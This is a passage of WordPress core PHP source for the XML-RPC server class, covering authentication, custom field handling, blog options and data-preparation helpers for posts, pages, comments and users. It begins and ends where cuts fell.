the 'xmlrpc_enabled' hook instead. */ $enabled = apply_filters( 'pre_option_enable_xmlrpc', false ); if ( false === $enabled ) { $enabled = apply_filters( 'option_enable_xmlrpc', true ); } /** * Filters whether XML-RPC methods requiring authentication are enabled. * * Contrary to the way it's named, this filter does not control whether XML-RPC is *fully* * enabled, rather, it only controls whether XML-RPC methods requiring authentication - such * as for publishing purposes - are enabled. * * Further, the filter does not control whether pingbacks or other custom endpoints that don't * require authentication are enabled. This behavior is expected, and due to how parity was matched * with the `enable_xmlrpc` UI option the filter replaced when it was introduced in 3.5. * * To disable XML-RPC methods that require authentication, use: * * add_filter( 'xmlrpc_enabled', '__return_false' ); * * For more granular control over all XML-RPC methods and requests, see the {@see 'xmlrpc_methods'} * and {@see 'xmlrpc_element_limit'} hooks. * * @since 3.5.0 * * @param bool $enabled Whether XML-RPC is enabled. Default true. */ $enabled = apply_filters( 'xmlrpc_enabled', $enabled ); if ( ! $enabled ) { $this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this site.' ) ) ); return false; } if ( $this->auth_failed ) { $user = new WP_Error( 'login_prevented' ); } else { $user = wp_authenticate( $username, $password ); } if ( is_wp_error( $user ) ) { $this->error = new IXR_Error( 403, __( 'Incorrect username or password.' ) ); // Flag that authentication has failed once on this wp_xmlrpc_server instance. $this->auth_failed = true; /** * Filters the XML-RPC user login error message. * * @since 3.5.0 * * @param IXR_Error $error The XML-RPC error message. * @param WP_Error $user WP_Error object. */ $this->error = apply_filters( 'xmlrpc_login_error', $this->error, $user ); return false; } wp_set_current_user( $user->ID ); return $user; } /** * Check user's credentials. Deprecated. * * @since 1.5.0 * @deprecated 2.8.0 Use wp_xmlrpc_server::login() * @see wp_xmlrpc_server::login() * * @param string $username User's username. * @param string $password User's password. * @return bool Whether authentication passed. */ public function login_pass_ok( $username, $password ) { return (bool) $this->login( $username, $password ); } /** * Escape string or array of strings for database. * * @since 1.5.2 * * @param string|array $data Escape single string or array of strings. * @return string|void Returns with string is passed, alters by-reference * when array is passed. */ public function escape( &$data ) { if ( ! is_array( $data ) ) { return wp_slash( $data ); } foreach ( $data as &$v ) { if ( is_array( $v ) ) { $this->escape( $v ); } elseif ( ! is_object( $v ) ) { $v = wp_slash( $v ); } } } /** * Retrieve custom fields for post. * * @since 2.5.0 * * @param int $post_id Post ID. * @return array Custom fields, if exist. */ public function get_custom_fields( $post_id ) { $post_id = (int) $post_id; $custom_fields = array(); foreach ( (array) has_meta( $post_id ) as $meta ) { // Don't expose protected fields. if ( ! current_user_can( 'edit_post_meta', $post_id, $meta['meta_key'] ) ) { continue; } $custom_fields[] = array( 'id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => $meta['meta_value'], ); } return $custom_fields; } /** * Set custom fields for post. * * @since 2.5.0 * * @param int $post_id Post ID. * @param array $fields Custom fields. */ public function set_custom_fields( $post_id, $fields ) { $post_id = (int) $post_id; foreach ( (array) $fields as $meta ) { if ( isset( $meta['id'] ) ) { $meta['id'] = (int) $meta['id']; $pmeta = get_metadata_by_mid( 'post', $meta['id'] ); if ( ! $pmeta || $pmeta->post_id != $post_id ) { continue; } if ( isset( $meta['key'] ) ) { $meta['key'] = wp_unslash( $meta['key'] ); if ( $meta['key'] !== $pmeta->meta_key ) { continue; } $meta['value'] = wp_unslash( $meta['value'] ); if ( current_user_can( 'edit_post_meta', $post_id, $meta['key'] ) ) { update_metadata_by_mid( 'post', $meta['id'], $meta['value'] ); } } elseif ( current_user_can( 'delete_post_meta', $post_id, $pmeta->meta_key ) ) { delete_metadata_by_mid( 'post', $meta['id'] ); } } elseif ( current_user_can( 'add_post_meta', $post_id, wp_unslash( $meta['key'] ) ) ) { add_post_meta( $post_id, $meta['key'], $meta['value'] ); } } } /** * Retrieve custom fields for a term. * * @since 4.9.0 * * @param int $term_id Term ID. * @return array Array of custom fields, if they exist. */ public function get_term_custom_fields( $term_id ) { $term_id = (int) $term_id; $custom_fields = array(); foreach ( (array) has_term_meta( $term_id ) as $meta ) { if ( ! current_user_can( 'edit_term_meta', $term_id ) ) { continue; } $custom_fields[] = array( 'id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => $meta['meta_value'], ); } return $custom_fields; } /** * Set custom fields for a term. * * @since 4.9.0 * * @param int $term_id Term ID. * @param array $fields Custom fields. */ public function set_term_custom_fields( $term_id, $fields ) { $term_id = (int) $term_id; foreach ( (array) $fields as $meta ) { if ( isset( $meta['id'] ) ) { $meta['id'] = (int) $meta['id']; $pmeta = get_metadata_by_mid( 'term', $meta['id'] ); if ( isset( $meta['key'] ) ) { $meta['key'] = wp_unslash( $meta['key'] ); if ( $meta['key'] !== $pmeta->meta_key ) { continue; } $meta['value'] = wp_unslash( $meta['value'] ); if ( current_user_can( 'edit_term_meta', $term_id ) ) { update_metadata_by_mid( 'term', $meta['id'], $meta['value'] ); } } elseif ( current_user_can( 'delete_term_meta', $term_id ) ) { delete_metadata_by_mid( 'term', $meta['id'] ); } } elseif ( current_user_can( 'add_term_meta', $term_id ) ) { add_term_meta( $term_id, $meta['key'], $meta['value'] ); } } } /** * Set up blog options property. * * Passes property through {@see 'xmlrpc_blog_options'} filter. * * @since 2.6.0 */ public function initialise_blog_option_info() { $this->blog_options = array( // Read-only options. 'software_name' => array( 'desc' => __( 'Software Name' ), 'readonly' => true, 'value' => 'WordPress', ), 'software_version' => array( 'desc' => __( 'Software Version' ), 'readonly' => true, 'value' => get_bloginfo( 'version' ), ), 'blog_url' => array( 'desc' => __( 'WordPress Address (URL)' ), 'readonly' => true, 'option' => 'siteurl', ), 'home_url' => array( 'desc' => __( 'Site Address (URL)' ), 'readonly' => true, 'option' => 'home', ), 'login_url' => array( 'desc' => __( 'Login Address (URL)' ), 'readonly' => true, 'value' => wp_login_url(), ), 'admin_url' => array( 'desc' => __( 'The URL to the admin area' ), 'readonly' => true, 'value' => get_admin_url(), ), 'image_default_link_type' => array( 'desc' => __( 'Image default link type' ), 'readonly' => true, 'option' => 'image_default_link_type', ), 'image_default_size' => array( 'desc' => __( 'Image default size' ), 'readonly' => true, 'option' => 'image_default_size', ), 'image_default_align' => array( 'desc' => __( 'Image default align' ), 'readonly' => true, 'option' => 'image_default_align', ), 'template' => array( 'desc' => __( 'Template' ), 'readonly' => true, 'option' => 'template', ), 'stylesheet' => array( 'desc' => __( 'Stylesheet' ), 'readonly' => true, 'option' => 'stylesheet', ), 'post_thumbnail' => array( 'desc' => __( 'Post Thumbnail' ), 'readonly' => true, 'value' => current_theme_supports( 'post-thumbnails' ), ), // Updatable options. 'time_zone' => array( 'desc' => __( 'Time Zone' ), 'readonly' => false, 'option' => 'gmt_offset', ), 'blog_title' => array( 'desc' => __( 'Site Title' ), 'readonly' => false, 'option' => 'blogname', ), 'blog_tagline' => array( 'desc' => __( 'Site Tagline' ), 'readonly' => false, 'option' => 'blogdescription', ), 'date_format' => array( 'desc' => __( 'Date Format' ), 'readonly' => false, 'option' => 'date_format', ), 'time_format' => array( 'desc' => __( 'Time Format' ), 'readonly' => false, 'option' => 'time_format', ), 'users_can_register' => array( 'desc' => __( 'Allow new users to sign up' ), 'readonly' => false, 'option' => 'users_can_register', ), 'thumbnail_size_w' => array( 'desc' => __( 'Thumbnail Width' ), 'readonly' => false, 'option' => 'thumbnail_size_w', ), 'thumbnail_size_h' => array( 'desc' => __( 'Thumbnail Height' ), 'readonly' => false, 'option' => 'thumbnail_size_h', ), 'thumbnail_crop' => array( 'desc' => __( 'Crop thumbnail to exact dimensions' ), 'readonly' => false, 'option' => 'thumbnail_crop', ), 'medium_size_w' => array( 'desc' => __( 'Medium size image width' ), 'readonly' => false, 'option' => 'medium_size_w', ), 'medium_size_h' => array( 'desc' => __( 'Medium size image height' ), 'readonly' => false, 'option' => 'medium_size_h', ), 'medium_large_size_w' => array( 'desc' => __( 'Medium-Large size image width' ), 'readonly' => false, 'option' => 'medium_large_size_w', ), 'medium_large_size_h' => array( 'desc' => __( 'Medium-Large size image height' ), 'readonly' => false, 'option' => 'medium_large_size_h', ), 'large_size_w' => array( 'desc' => __( 'Large size image width' ), 'readonly' => false, 'option' => 'large_size_w', ), 'large_size_h' => array( 'desc' => __( 'Large size image height' ), 'readonly' => false, 'option' => 'large_size_h', ), 'default_comment_status' => array( 'desc' => __( 'Allow people to submit comments on new posts.' ), 'readonly' => false, 'option' => 'default_comment_status', ), 'default_ping_status' => array( 'desc' => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts.' ), 'readonly' => false, 'option' => 'default_ping_status', ), ); /** * Filters the XML-RPC blog options property. * * @since 2.6.0 * * @param array $blog_options An array of XML-RPC blog options. */ $this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options ); } /** * Retrieve the blogs of the user. * * @since 2.6.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type string $username Username. * @type string $password Password. * } * @return array|IXR_Error Array contains: * - 'isAdmin' * - 'isPrimary' - whether the blog is the user's primary blog * - 'url' * - 'blogid' * - 'blogName' * - 'xmlrpc' - url of xmlrpc endpoint */ public function wp_getUsersBlogs( $args ) { if ( ! $this->minimum_args( $args, 2 ) ) { return $this->error; } // If this isn't on WPMU then just use blogger_getUsersBlogs(). if ( ! is_multisite() ) { array_unshift( $args, 1 ); return $this->blogger_getUsersBlogs( $args ); } $this->escape( $args ); $username = $args[0]; $password = $args[1]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** * Fires after the XML-RPC user has been authenticated but before the rest of * the method logic begins. * * All built-in XML-RPC methods use the action xmlrpc_call, with a parameter * equal to the method's name, e.g., wp.getUsersBlogs, wp.newPost, etc. * * @since 2.5.0 * @since 5.7.0 Added the `$args` and `$server` parameters. * * @param string $name The method name. * @param array|string $args The escaped arguments passed to the method. * @param wp_xmlrpc_server $server The XML-RPC server instance. */ do_action( 'xmlrpc_call', 'wp.getUsersBlogs', $args, $this ); $blogs = (array) get_blogs_of_user( $user->ID ); $struct = array(); $primary_blog_id = 0; $active_blog = get_active_blog_for_user( $user->ID ); if ( $active_blog ) { $primary_blog_id = (int) $active_blog->blog_id; } foreach ( $blogs as $blog ) { // Don't include blogs that aren't hosted at this site. if ( get_current_network_id() != $blog->site_id ) { continue; } $blog_id = $blog->userblog_id; switch_to_blog( $blog_id ); $is_admin = current_user_can( 'manage_options' ); $is_primary = ( (int) $blog_id === $primary_blog_id ); $struct[] = array( 'isAdmin' => $is_admin, 'isPrimary' => $is_primary, 'url' => home_url( '/' ), 'blogid' => (string) $blog_id, 'blogName' => get_option( 'blogname' ), 'xmlrpc' => site_url( 'xmlrpc.php', 'rpc' ), ); restore_current_blog(); } return $struct; } /** * Checks if the method received at least the minimum number of arguments. * * @since 3.4.0 * * @param array $args An array of arguments to check. * @param int $count Minimum number of arguments. * @return bool True if `$args` contains at least `$count` arguments, false otherwise. */ protected function minimum_args( $args, $count ) { if ( ! is_array( $args ) || count( $args ) < $count ) { $this->error = new IXR_Error( 400, __( 'Insufficient arguments passed to this XML-RPC method.' ) ); return false; } return true; } /** * Prepares taxonomy data for return in an XML-RPC object. * * @param WP_Taxonomy $taxonomy The unprepared taxonomy data. * @param array $fields The subset of taxonomy fields to return. * @return array The prepared taxonomy data. */ protected function _prepare_taxonomy( $taxonomy, $fields ) { $_taxonomy = array( 'name' => $taxonomy->name, 'label' => $taxonomy->label, 'hierarchical' => (bool) $taxonomy->hierarchical, 'public' => (bool) $taxonomy->public, 'show_ui' => (bool) $taxonomy->show_ui, '_builtin' => (bool) $taxonomy->_builtin, ); if ( in_array( 'labels', $fields, true ) ) { $_taxonomy['labels'] = (array) $taxonomy->labels; } if ( in_array( 'cap', $fields, true ) ) { $_taxonomy['cap'] = (array) $taxonomy->cap; } if ( in_array( 'menu', $fields, true ) ) { $_taxonomy['show_in_menu'] = (bool) $taxonomy->show_in_menu; } if ( in_array( 'object_type', $fields, true ) ) { $_taxonomy['object_type'] = array_unique( (array) $taxonomy->object_type ); } /** * Filters XML-RPC-prepared data for the given taxonomy. * * @since 3.4.0 * * @param array $_taxonomy An array of taxonomy data. * @param WP_Taxonomy $taxonomy Taxonomy object. * @param array $fields The subset of taxonomy fields to return. */ return apply_filters( 'xmlrpc_prepare_taxonomy', $_taxonomy, $taxonomy, $fields ); } /** * Prepares term data for return in an XML-RPC object. * * @param array|object $term The unprepared term data. * @return array The prepared term data. */ protected function _prepare_term( $term ) { $_term = $term; if ( ! is_array( $_term ) ) { $_term = get_object_vars( $_term ); } // For integers which may be larger than XML-RPC supports ensure we return strings. $_term['term_id'] = (string) $_term['term_id']; $_term['term_group'] = (string) $_term['term_group']; $_term['term_taxonomy_id'] = (string) $_term['term_taxonomy_id']; $_term['parent'] = (string) $_term['parent']; // Count we are happy to return as an integer because people really shouldn't use terms that much. $_term['count'] = (int) $_term['count']; // Get term meta. $_term['custom_fields'] = $this->get_term_custom_fields( $_term['term_id'] ); /** * Filters XML-RPC-prepared data for the given term. * * @since 3.4.0 * * @param array $_term An array of term data. * @param array|object $term Term object or array. */ return apply_filters( 'xmlrpc_prepare_term', $_term, $term ); } /** * Convert a WordPress date string to an IXR_Date object. * * @param string $date Date string to convert. * @return IXR_Date IXR_Date object. */ protected function _convert_date( $date ) { if ( '0000-00-00 00:00:00' === $date ) { return new IXR_Date( '00000000T00:00:00Z' ); } return new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date, false ) ); } /** * Convert a WordPress GMT date string to an IXR_Date object. * * @param string $date_gmt WordPress GMT date string. * @param string $date Date string. * @return IXR_Date IXR_Date object. */ protected function _convert_date_gmt( $date_gmt, $date ) { if ( '0000-00-00 00:00:00' !== $date && '0000-00-00 00:00:00' === $date_gmt ) { return new IXR_Date( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $date, false ), 'Ymd\TH:i:s' ) ); } return $this->_convert_date( $date_gmt ); } /** * Prepares post data for return in an XML-RPC object. * * @param array $post The unprepared post data. * @param array $fields The subset of post type fields to return. * @return array The prepared post data. */ protected function _prepare_post( $post, $fields ) { // Holds the data for this post. built up based on $fields. $_post = array( 'post_id' => (string) $post['ID'] ); // Prepare common post fields. $post_fields = array( 'post_title' => $post['post_title'], 'post_date' => $this->_convert_date( $post['post_date'] ), 'post_date_gmt' => $this->_convert_date_gmt( $post['post_date_gmt'], $post['post_date'] ), 'post_modified' => $this->_convert_date( $post['post_modified'] ), 'post_modified_gmt' => $this->_convert_date_gmt( $post['post_modified_gmt'], $post['post_modified'] ), 'post_status' => $post['post_status'], 'post_type' => $post['post_type'], 'post_name' => $post['post_name'], 'post_author' => $post['post_author'], 'post_password' => $post['post_password'], 'post_excerpt' => $post['post_excerpt'], 'post_content' => $post['post_content'], 'post_parent' => (string) $post['post_parent'], 'post_mime_type' => $post['post_mime_type'], 'link' => get_permalink( $post['ID'] ), 'guid' => $post['guid'], 'menu_order' => (int) $post['menu_order'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'sticky' => ( 'post' === $post['post_type'] && is_sticky( $post['ID'] ) ), ); // Thumbnail. $post_fields['post_thumbnail'] = array(); $thumbnail_id = get_post_thumbnail_id( $post['ID'] ); if ( $thumbnail_id ) { $thumbnail_size = current_theme_supports( 'post-thumbnail' ) ? 'post-thumbnail' : 'thumbnail'; $post_fields['post_thumbnail'] = $this->_prepare_media_item( get_post( $thumbnail_id ), $thumbnail_size ); } // Consider future posts as published. if ( 'future' === $post_fields['post_status'] ) { $post_fields['post_status'] = 'publish'; } // Fill in blank post format. $post_fields['post_format'] = get_post_format( $post['ID'] ); if ( empty( $post_fields['post_format'] ) ) { $post_fields['post_format'] = 'standard'; } // Merge requested $post_fields fields into $_post. if ( in_array( 'post', $fields, true ) ) { $_post = array_merge( $_post, $post_fields ); } else { $requested_fields = array_intersect_key( $post_fields, array_flip( $fields ) ); $_post = array_merge( $_post, $requested_fields ); } $all_taxonomy_fields = in_array( 'taxonomies', $fields, true ); if ( $all_taxonomy_fields || in_array( 'terms', $fields, true ) ) { $post_type_taxonomies = get_object_taxonomies( $post['post_type'], 'names' ); $terms = wp_get_object_terms( $post['ID'], $post_type_taxonomies ); $_post['terms'] = array(); foreach ( $terms as $term ) { $_post['terms'][] = $this->_prepare_term( $term ); } } if ( in_array( 'custom_fields', $fields, true ) ) { $_post['custom_fields'] = $this->get_custom_fields( $post['ID'] ); } if ( in_array( 'enclosure', $fields, true ) ) { $_post['enclosure'] = array(); $enclosures = (array) get_post_meta( $post['ID'], 'enclosure' ); if ( ! empty( $enclosures ) ) { $encdata = explode( "\n", $enclosures[0] ); $_post['enclosure']['url'] = trim( htmlspecialchars( $encdata[0] ) ); $_post['enclosure']['length'] = (int) trim( $encdata[1] ); $_post['enclosure']['type'] = trim( $encdata[2] ); } } /** * Filters XML-RPC-prepared date for the given post. * * @since 3.4.0 * * @param array $_post An array of modified post data. * @param array $post An array of post data. * @param array $fields An array of post fields. */ return apply_filters( 'xmlrpc_prepare_post', $_post, $post, $fields ); } /** * Prepares post data for return in an XML-RPC object. * * @since 3.4.0 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object. * * @param WP_Post_Type $post_type Post type object. * @param array $fields The subset of post fields to return. * @return array The prepared post type data. */ protected function _prepare_post_type( $post_type, $fields ) { $_post_type = array( 'name' => $post_type->name, 'label' => $post_type->label, 'hierarchical' => (bool) $post_type->hierarchical, 'public' => (bool) $post_type->public, 'show_ui' => (bool) $post_type->show_ui, '_builtin' => (bool) $post_type->_builtin, 'has_archive' => (bool) $post_type->has_archive, 'supports' => get_all_post_type_supports( $post_type->name ), ); if ( in_array( 'labels', $fields, true ) ) { $_post_type['labels'] = (array) $post_type->labels; } if ( in_array( 'cap', $fields, true ) ) { $_post_type['cap'] = (array) $post_type->cap; $_post_type['map_meta_cap'] = (bool) $post_type->map_meta_cap; } if ( in_array( 'menu', $fields, true ) ) { $_post_type['menu_position'] = (int) $post_type->menu_position; $_post_type['menu_icon'] = $post_type->menu_icon; $_post_type['show_in_menu'] = (bool) $post_type->show_in_menu; } if ( in_array( 'taxonomies', $fields, true ) ) { $_post_type['taxonomies'] = get_object_taxonomies( $post_type->name, 'names' ); } /** * Filters XML-RPC-prepared date for the given post type. * * @since 3.4.0 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object. * * @param array $_post_type An array of post type data. * @param WP_Post_Type $post_type Post type object. */ return apply_filters( 'xmlrpc_prepare_post_type', $_post_type, $post_type ); } /** * Prepares media item data for return in an XML-RPC object. * * @param WP_Post $media_item The unprepared media item data. * @param string $thumbnail_size The image size to use for the thumbnail URL. * @return array The prepared media item data. */ protected function _prepare_media_item( $media_item, $thumbnail_size = 'thumbnail' ) { $_media_item = array( 'attachment_id' => (string) $media_item->ID, 'date_created_gmt' => $this->_convert_date_gmt( $media_item->post_date_gmt, $media_item->post_date ), 'parent' => $media_item->post_parent, 'link' => wp_get_attachment_url( $media_item->ID ), 'title' => $media_item->post_title, 'caption' => $media_item->post_excerpt, 'description' => $media_item->post_content, 'metadata' => wp_get_attachment_metadata( $media_item->ID ), 'type' => $media_item->post_mime_type, ); $thumbnail_src = image_downsize( $media_item->ID, $thumbnail_size ); if ( $thumbnail_src ) { $_media_item['thumbnail'] = $thumbnail_src[0]; } else { $_media_item['thumbnail'] = $_media_item['link']; } /** * Filters XML-RPC-prepared data for the given media item. * * @since 3.4.0 * * @param array $_media_item An array of media item data. * @param WP_Post $media_item Media item object. * @param string $thumbnail_size Image size. */ return apply_filters( 'xmlrpc_prepare_media_item', $_media_item, $media_item, $thumbnail_size ); } /** * Prepares page data for return in an XML-RPC object. * * @param WP_Post $page The unprepared page data. * @return array The prepared page data. */ protected function _prepare_page( $page ) { // Get all of the page content and link. $full_page = get_extended( $page->post_content ); $link = get_permalink( $page->ID ); // Get info the page parent if there is one. $parent_title = ''; if ( ! empty( $page->post_parent ) ) { $parent = get_post( $page->post_parent ); $parent_title = $parent->post_title; } // Determine comment and ping settings. $allow_comments = comments_open( $page->ID ) ? 1 : 0; $allow_pings = pings_open( $page->ID ) ? 1 : 0; // Format page date. $page_date = $this->_convert_date( $page->post_date ); $page_date_gmt = $this->_convert_date_gmt( $page->post_date_gmt, $page->post_date ); // Pull the categories info together. $categories = array(); if ( is_object_in_taxonomy( 'page', 'category' ) ) { foreach ( wp_get_post_categories( $page->ID ) as $cat_id ) { $categories[] = get_cat_name( $cat_id ); } } // Get the author info. $author = get_userdata( $page->post_author ); $page_template = get_page_template_slug( $page->ID ); if ( empty( $page_template ) ) { $page_template = 'default'; } $_page = array( 'dateCreated' => $page_date, 'userid' => $page->post_author, 'page_id' => $page->ID, 'page_status' => $page->post_status, 'description' => $full_page['main'], 'title' => $page->post_title, 'link' => $link, 'permaLink' => $link, 'categories' => $categories, 'excerpt' => $page->post_excerpt, 'text_more' => $full_page['extended'], 'mt_allow_comments' => $allow_comments, 'mt_allow_pings' => $allow_pings, 'wp_slug' => $page->post_name, 'wp_password' => $page->post_password, 'wp_author' => $author->display_name, 'wp_page_parent_id' => $page->post_parent, 'wp_page_parent_title' => $parent_title, 'wp_page_order' => $page->menu_order, 'wp_author_id' => (string) $author->ID, 'wp_author_display_name' => $author->display_name, 'date_created_gmt' => $page_date_gmt, 'custom_fields' => $this->get_custom_fields( $page->ID ), 'wp_page_template' => $page_template, ); /** * Filters XML-RPC-prepared data for the given page. * * @since 3.4.0 * * @param array $_page An array of page data. * @param WP_Post $page Page object. */ return apply_filters( 'xmlrpc_prepare_page', $_page, $page ); } /** * Prepares comment data for return in an XML-RPC object. * * @param WP_Comment $comment The unprepared comment data. * @return array The prepared comment data. */ protected function _prepare_comment( $comment ) { // Format page date. $comment_date_gmt = $this->_convert_date_gmt( $comment->comment_date_gmt, $comment->comment_date ); if ( '0' == $comment->comment_approved ) { $comment_status = 'hold'; } elseif ( 'spam' === $comment->comment_approved ) { $comment_status = 'spam'; } elseif ( '1' == $comment->comment_approved ) { $comment_status = 'approve'; } else { $comment_status = $comment->comment_approved; } $_comment = array( 'date_created_gmt' => $comment_date_gmt, 'user_id' => $comment->user_id, 'comment_id' => $comment->comment_ID, 'parent' => $comment->comment_parent, 'status' => $comment_status, 'content' => $comment->comment_content, 'link' => get_comment_link( $comment ), 'post_id' => $comment->comment_post_ID, 'post_title' => get_the_title( $comment->comment_post_ID ), 'author' => $comment->comment_author, 'author_url' => $comment->comment_author_url, 'author_email' => $comment->comment_author_email, 'author_ip' => $comment->comment_author_IP, 'type' => $comment->comment_type, ); /** * Filters XML-RPC-prepared data for the given comment. * * @since 3.4.0 * * @param array $_comment An array of prepared comment data. * @param WP_Comment $comment Comment object. */ return apply_filters( 'xmlrpc_prepare_comment', $_comment, $comment ); } /** * Prepares user data for return in an XML-RPC object. * * @param WP_User $user The unprepared user object. * @param array $fields The subset of user fields to return. * @return array The prepared user data. */ protected function _prepare_user( $user, $fields ) { $_user = array( 'user_id' => (string) $user->ID ); $user_fields = array( 'username' => $user->user_login, 'first_name' => $user->user_firstname, 'last_name' => $user->user_lastname, 'registered' => $this->_convert_date( $user->user_registered ), 'bio' => $user->user_description, 'email' => $user->user_email, 'nickname' => $user->nickname, 'nicename' => $user->user_nicename, 'url' => $user->user_url, 'display_name' => $user->display_name, 'roles' => $user->roles, ); if ( in_array( 'all', $fields, true ) ) { $_user = array_merge( $_user, $user_fields ); } else { if ( in_array( 'basic', $fields, true ) ) { $basic_fields = array( 'username', 'email', 'registered', 'display_name', 'nicename' ); $fields = array_merge( $fields, $basic_fields ); } $requested_fields = array_intersect_key( $user_fields, array_flip( $fields ) ); $_user = array_merge( $_user, $requested_fields ); } /** * Filters XML-RPC-prepared data for the given user. * * @since 3.5.0 * * @param array $_user An array of user data. * @param WP_User $user User object. * @param array $fields An array of user fields. */ return apply_filters( 'xmlrpc_prepare_user', $_user, $user, $fields ); } /** * Create a new post for any registered post type. * * @since 3.4.0 * * @link https://en.wikipedia.org/wiki/RSS_enclosure for information on RSS enclosures. * * @param array $args { * Method arguments. Note: top-level arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type array $content_struct { * Content struct for adding a new post. See wp_insert_post() for information on * additional post fields * * @type string $post_type Post type. Default 'post'. * @type string $post_status Post status. Default 'draft' * @type string $post_title Post title. * @type int $post_author Post author ID. * @type string $post_excerpt Post excerpt. * @type string $post_content Post content. * @type string $post_date_gmt Post date in GMT. * @type string $post_date Post date. * @type string $post_password Post password (20-character limit). * @type string $comment_status Post comment enabled status. Accepts 'open' or 'closed'. * @type string $ping_status Post ping status. Accepts 'open' or 'closed'. * @type bool $sticky Whether the post should be sticky. Automatically false if * `$post_status` is 'private'. * @type int $post_thumbnail ID of an image to use as the post thumbnail/featured image. * @type array $custom_fields Array of meta key/value pairs to add to the post. * @type array $terms Associative array with taxonomy names as keys and arrays * of term IDs as values. * @type array $terms_names Associative array with taxonomy names as keys and arrays * of term names as values. * @type array $enclosure { * Array of feed enclosure data to add to post meta. * * @type string $url URL for the feed enclosure. * @type int $length Size in bytes of the enclosure. * @type string $type Mime-type for the enclosure. * } * } * } * @return int|IXR_Error Post ID on success, IXR_Error instance otherwise. */ public function wp_newPost( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $content_struct = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } // Convert the date field back to IXR form. if ( isset( $content_struct['post_date'] ) && ! ( $content_struct['post_date'] instanceof IXR_Date ) ) { $content_struct['post_date'] = $this->_convert_date( $content_struct['post_date'] ); } /* * Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct, * since _insert_post() will ignore the non-GMT date if the GMT date is set. */ if ( isset( $content_struct['post_date_gmt'] ) && ! ( $content_struct['post_date_gmt'] instanceof IXR_Date ) ) { if ( '0000-00-00 00:00:00' === $content_struct['post_date_gmt'] || isset( $content_struct['post_date'] ) ) { unset( $content_struct['post_date_gmt'] ); } else { $content_struct['post_date_gmt'] = $this->_convert_date( $content_struct['post_date_gmt'] ); } } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.newPost', $args, $this ); unset( $content_struct['ID'] ); return $this->_insert_post( $user, $content_struct ); } /** * Helper method for filtering out elements from an array. * * @since 3.4.0 * * @param int $count Number to compare to one. * @return bool True if the number is greater than one, false otherwise. */ private function _is_greater_than_one( $count ) { return $count > 1; } /** * Encapsulate the logic for sticking a post * and determining if the user has permission to do so * * @since 4.3.0 * * @param array $post_data * @param bool $update * @return void|IXR_Error */ private function _toggle_sticky( $post_data, $update = false ) { $post_type = get_post_type_object( $post_data['post_type'] ); // Private and password-protected posts cannot be stickied. if ( 'private' === $post_data['post_status'] || ! empty( $post_data['post_password'] ) ) { // Error if the client tried to stick the post, otherwise, silently unstick. if ( ! empty( $post_data['sticky'] ) ) { return new IXR_Error( 401, __( 'Sorry, you cannot stick a private post.' ) ); } if ( $update ) { unstick_post( $post_data['ID'] ); } } elseif ( isset( $post_data['sticky'] ) ) { if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to make posts sticky.' ) ); } $sticky = wp_validate_boolean( $post_data['sticky'] ); if ( $sticky ) { stick_post( $post_data['ID'] ); } else { unstick_post( $post_data['ID'] ); } } } /** * Helper method for wp_newPost() and wp_editPost(), containing shared logic. * * @since 3.4.0 * * @see wp_insert_post() * * @param WP_User $user The post author if post_author isn't set in $content_struct. * @param array|IXR_Error $content_struct Post data to insert. * @return IXR_Error|string */ protected function _insert_post( $user, $content_struct ) { $defaults = array( 'post_status' => 'draft', 'post_type' => 'post', 'post_author' => null, 'post_password' => null, 'post_excerpt' => null, 'post_content' => null, 'post_title' => null, 'post_date' => null, 'post_date_gmt' => null, 'post_format' => null, 'post_name' => null, 'post_thumbnail' => null, 'post_parent' => null, 'ping_status' => null, 'comment_status' => null, 'custom_fields' => null, 'terms_names' => null, 'terms' => null, 'sticky' => null, 'enclosure' => null, 'ID' => null, ); $post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults ); $post_type = get_post_type_object( $post_data['post_type'] ); if ( ! $post_type ) { return new IXR_Error( 403, __( 'Invalid post type.' ) ); } $update = ! empty( $post_data['ID'] ); if ( $update ) { if ( ! get_post( $post_data['ID'] ) ) { return new IXR_Error( 401, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_data['ID'] ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } if ( get_post_type( $post_data['ID'] ) !== $post_data['post_type'] ) { return new IXR_Error( 401, __( 'The post type may not be changed.' ) ); } } else { if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( $post_type->cap->edit_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) ); } } switch ( $post_data['post_status'] ) { case 'draft': case 'pending': break; case 'private': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create private posts in this post type.' ) ); } break; case 'publish': case 'future': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts in this post type.' ) ); } break; default: if ( ! get_post_status_object( $post_data['post_status'] ) ) { $post_data['post_status'] = 'draft'; } break; } if ( ! empty( $post_data['post_password'] ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create password protected posts in this post type.' ) ); } $post_data['post_author'] = absint( $post_data['post_author'] ); if ( ! empty( $post_data['post_author'] ) && $post_data['post_author'] != $user->ID ) { if ( ! 